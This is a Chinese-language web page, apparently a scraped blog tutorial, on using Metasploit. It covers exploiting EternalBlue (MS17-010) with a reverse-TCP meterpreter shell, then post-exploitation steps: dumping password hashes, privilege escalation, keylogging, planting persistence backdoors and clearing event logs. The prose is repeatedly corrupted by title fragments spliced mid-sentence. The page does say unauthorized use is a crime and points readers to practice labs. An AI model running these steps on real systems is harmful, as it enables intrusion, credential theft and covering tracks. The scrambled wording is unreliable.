msf渗透工具详细使用教程

```html

msf渗透工具详细使用教程

Metasploit Framework(msf)不是透工那种装完就能一键日站的神器,但它是具详渗透测试里绕不开的瑞士军刀。我见过太多人卡在msfconsole启动后的细使空白提示符上,不知道下一步该敲什么。用教其实核心就三件事:找模块、透工配参数、具详打目标。细使下面直接拆开讲。用教

启动与界面

终端里输入msfconsole,透工等它加载完。具详第一次用会觉得界面花哨,细使但实际常用的用教就几个命令。我习惯先把提示音关掉,透工setg Console::Bell false,具详不然每执行一次就响一下,细使烦得很。

数据库连接是第一步。不连数据库,你搜模块、存结果都费劲。Kali里通常已经配好PostgreSQL,直接msfdb init,然后db_status看是否连上。如果显示connected to msf,说明可以正常用了。

搜索与选择模块

假设你要打一个已知的永恒之蓝漏洞。直接search ms17-010,会列出几个模块。注意看rank列,excellent和great的优先。我一般选exploit/windows/smb/ms17_010_eternalblue,这个最稳。

用use加模块路径,或者直接use 0选搜索结果里的编号。进去后show options,必填项是红色的。RHOSTS填目标IP,LHOST填你本机的监听IP,LPORT随便选个没占用的,比如4444。

载荷与参数

payload选windows/x64/meterpreter/reverse_tcp,反弹shell回来。别用bind,内网环境bind基本连不上。设置完show options再检查一遍,确认没有漏填的。

有个细节:如果目标开了防火墙,445端口可能被拦。先nmap -p 445扫一下。我遇到过扫出来open但打不进去的情况,后来发现是目标装了补丁,但nmap的脚本没更新。这种时候换auxiliary/scanner/smb/smb_ms17_010再确认一次。

执行与后渗透

run或者exploit。如果成功,你会看到meterpreter会话。这时候别急着shell,先用getuid看权限,sysinfo看系统信息。如果是system权限,直接hashdump抓哈希。要是普通用户,用getsystem提权,成功率看运气。

meterpreter里几个常用命令:screenshot截屏,keyscan_start开键盘记录,upload传文件。我习惯先migrate到一个稳定进程,比如explorer.exe,不然目标一重启会话就断。

后门与清理

留后门用persistence,但别乱用,容易触发杀软。更隐蔽的是metsvc,不过现在大部分EDR都能查出来。打完靶机记得clearev清日志,然后exit退出会话。

最后说个坑:msf的模块更新很快,但有些老漏洞的利用代码在最新版里反而被移除了。我习惯保留一个旧版msf在虚拟机里,专门打那些老系统。新版本打新漏洞,旧版本打旧目标,别指望一个版本通吃。

渗透测试的边界是授权。没授权就拿msf扫别人,那是犯罪。自己搭靶场练,或者打HTB、VulnHub,比什么都强。

```
娱乐
上一篇:英雄联盟战绩查询
下一篇:证券网站官网